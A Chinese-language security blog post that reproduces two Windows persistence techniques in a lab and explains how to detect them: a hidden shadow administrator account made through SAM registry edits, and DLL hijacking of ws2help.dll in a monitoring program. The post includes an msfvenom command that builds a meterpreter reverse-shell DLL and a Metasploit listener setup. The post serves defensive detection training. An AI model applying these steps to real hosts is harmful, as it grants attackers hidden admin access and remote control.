责声明:***复现场景均为本地搭建靶机测试环境,涉及复现方式相关,仅作个人拓展学习了解。

一、概述

计算机网络的安全性主要包括网络服务的可用性、网络信息的保密性和网络信息的完整性。数据时代的不断进步,也产生了一些安全问题。数据安全和设备安全更是网络安全中的两个重要内容。关于Windows主机的安全防护,大概分为以下几个方面:账户管理、本地策略、服务、网络协议、注册表管理、文件系统与权限、Windows系统自身安全。如何去发现Windows主机的一些潜在或者已经存在的威胁,以怎样的检测排查思路去分析。

那么在这期文章中我们通过影子账号的建立和DLL劫持的***方式进行复现,带你直观了解如何去检测主机安全的隐秘角落。

二、复现及分析检测

1.影子账户筛查

告警发生场景: ***在***系统后常常会建立一个影子账户。之所以称其为“影子账户”,是因为这种账户用系统中提供的工具或方法都无法看到,并且无论是“用户账户”、“计算机管理”,还是命令行中,都无法删除此账户。

***方式:***者获得管理员权限后,通过注册表或REG命令添加影子账户。

复现过程通过命令行新建一个用户(注意:新建的用户名建议以$结尾)。

image.png

通过regedit命令进入注册表,进行查看。

image.png

根据Names对应的类型,将cmd$对应Users下的F类型值替换为administrator对应Users下的F类型值。

image.pngimage.png

将000003FD和cmd$导出。导出后,在命令行中将cmd$账号删除。

image.png

删除后,检查注册表已经没有cmd$的键值。然后将刚才导出的*.reg,依次将000003FD.reg和cmd$.reg双击。

image.png

image.png

通过命令行和控制面板均发现创建的影子账号。

image.pngimage.png

切换账号验证。

image.png

登录成功且为管理员账户。

image.png

检测思路:可以通过人工查看原始的系统日志和进入注册表编辑器进行分析,或者通过日志审计工具解析原始日志,分析出有短时间内添加账号删除账号的行为,并通过对注册表修改情况,以及跟踪未知账号后续产生的风险行为,来进行告警。

日志来源:以Windows设备管理器查看日志为例:

1 2020-12-03T15:38:04.526542+08:00 WIN-94A29A4Q0RK Microsoft-Windows-Security-Auditing 476 - [seci-win-2008 Keywords="-9214364837600034816" EventType="AUDIT_SUCCESS" EventID="4720" ProviderGuid="{54849625-5478-4994-A5BA-3E3B0328C30D}" Version="0" Task="13824" OpcodeValue="0" RecordNumber="1098" ThreadID="652" Channel="Security" Category="用户帐户管理" Opcode="信息" TargetUserName="admin" TargetDomainName="WIN-94A29A4Q0RK" TargetSid="S-1-5-21-2527095256-2181598628-2082852982-1014" SubjectUserSid="S-1-5-21-2527095256-2181598628-2082852982-500" SubjectUserName="Administrator" SubjectDomainName="WIN-94A29A4Q0RK" SubjectLogonId="0x4299d" PrivilegeList="-" SamAccountName="admin" DisplayName="%%1793" UserPrincipalName="-" HomeDirectory="%%1793" HomePath="%%1793" ScriptPath="%%1793" ProfilePath="%%1793" UserWorkstations="%%1793" PasswordLastSet="%%1794" AccountExpires="%%1794" PrimaryGroupId="513" AllowedToDelegateTo="-" OldUacValue="0x0" NewUacValue="0x15" UserAccountControl=" %%2080 %%2082 %%2084" UserParameters="%%1793" SidHistory="-" LogonHours="%%1797" EventReceivedTime="2020-12-03 15:38:06" SourceModuleName="in" SourceModuleType="im_msvistalog"]

1 2020-12-03T15:38:24.538782+08:00 WIN-94A29A4Q0RK Microsoft-Windows-Security-Auditing 476 - [seci-win-2008 Keywords="-9214364837600034816" EventType="AUDIT_SUCCESS" EventID="4726" ProviderGuid="{54849625-5478-4994-A5BA-3E3B0328C30D}" Version="0" Task="13824" OpcodeValue="0" RecordNumber="1105" ThreadID="652" Channel="Security" Category="用户帐户管理" Opcode="信息" TargetUserName="admin" TargetDomainName="WIN-94A29A4Q0RK" TargetSid="S-1-5-21-2527095256-2181598628-2082852982-1014" SubjectUserSid="S-1-5-21-2527095256-2181598628-2082852982-500" SubjectUserName="Administrator" SubjectDomainName="WIN-94A29A4Q0RK" SubjectLogonId="0x4299d" PrivilegeList="-" EventReceivedTime="2020-12-03 15:38:26" SourceModuleName="in" SourceModuleType="im_msvistalog"]

人工分析:通过对原始日志进行分析,查找到有添加删除账号行为,用户账户、计算机管理都未显示新增账号,但该账号后续产生其他的风险操作,查看注册表编辑器存在账号相关信息,即可判定属于存在影子账号。

工具分析:通过日志解析出事件名称为用户账户管理,以及分析出未知账号的后续行为(例如访问敏感文件或高危操作)等关联分析判定属于安全威胁事件触发告警。验证:对注册表内账号信息与设备管理器内账号信息进行对比,是否有未知账号。


2.DLL劫持

告警发生场景

主机使用人员,下载含有非法dll的软件使用。或者***者***主机后构造非法dll,方便后续***利用。

DLL概念

DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。(摘自网络,更多了解:https://docs.microsoft.com/zh-cn/troubleshoot/windows-client/deployment/dynamic-link-library

 DLL劫持原理

由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在Windows系统目录中查找,最后是在环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。

 

系统环境准备

  1. kali_2019.1a虚拟机

  2. windows2008r2靶机虚拟机

  3. 靶机安装有python2.7

工具准备

  1. Process Explorer

  2. 紫金桥监控组态软件 V6.5

  3. DLL_Hijacker.py

  4. VC6.0++

  5. 找到ws2help.dll可以作为劫持dll。

  6.  

  7. 2、通过python环境生成ws2help.cpp文件。

 

复现开始

1、根据Process Explorer和注册表对比,寻找可劫持的DLL。

image.png

找到ws2help.dll可以作为劫持dll。

 

2、通过python环境生成ws2help.cpp文件。

image.png

在python2.7文件夹下,生成一个ws2help.cpp文件。

image.png

3、使用VC6.0++将ws2help.cpp编译为dll文件。

新建一个Win32 Dynamic-Link Library工程,名称为ws2help,路径按需更改。

image.png

image.png

将生成的ws2help.cpp文件内容,替换掉VC6.0++生成的ws2help.cpp内容。添加 #include “StdAfx.h”。

image.png

4、首先编译同目录下的StdAfx.cpp文件。其次编译ws2help.cpp文件

结果如下。

image.png没有报错,则将其进行组建,组建生成的文件,在工程目录下的Debug目录下。

image.png

将生成的dll文件,放在proman.exe同一目录下。重新启动proman.exe,会弹出提示。

image.png

5、使用kali生成dll文件。

用法如下。

image.png

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<本机IP> LPORT=<监听端口> -f dll >/root/ws2help.dll

image.png

image.png

将生成的dll文件压缩,在拷贝到靶机上。

 

6、在kali中打开msf工具。

使用msf中的handler模块开启监听。

image.png

image.png

注入kali生成的dll文件到,proman.exe进程中。

image.png

Kali已经成功***靶机。

image.png


image.png


image.png


image.png

可以看到这个账号是为管理员权限。

分析判断是否被DLL劫持,可以人工通过对系统原始日志中,应用程序报错日志进行查看,同时使用工具对应用程序加载的DLL进程路径进行查看,是否存在异常。

三、总结

以上本文介绍了Windows安全威胁的利用手段,以及更直观的了解***手段的复现过程,可以更好的去分析排查隐秘威胁。随着数据时代的不断前进,进步的同时也存在着一些安全的隐患。更多的了解相关检测手段,再根据分析工具,可以更好的检测隐秘威胁,从而减少以及避免相关威胁带来的损失。

相关分享:

Linux日志分析场景(一)

linux日志分析场景(二)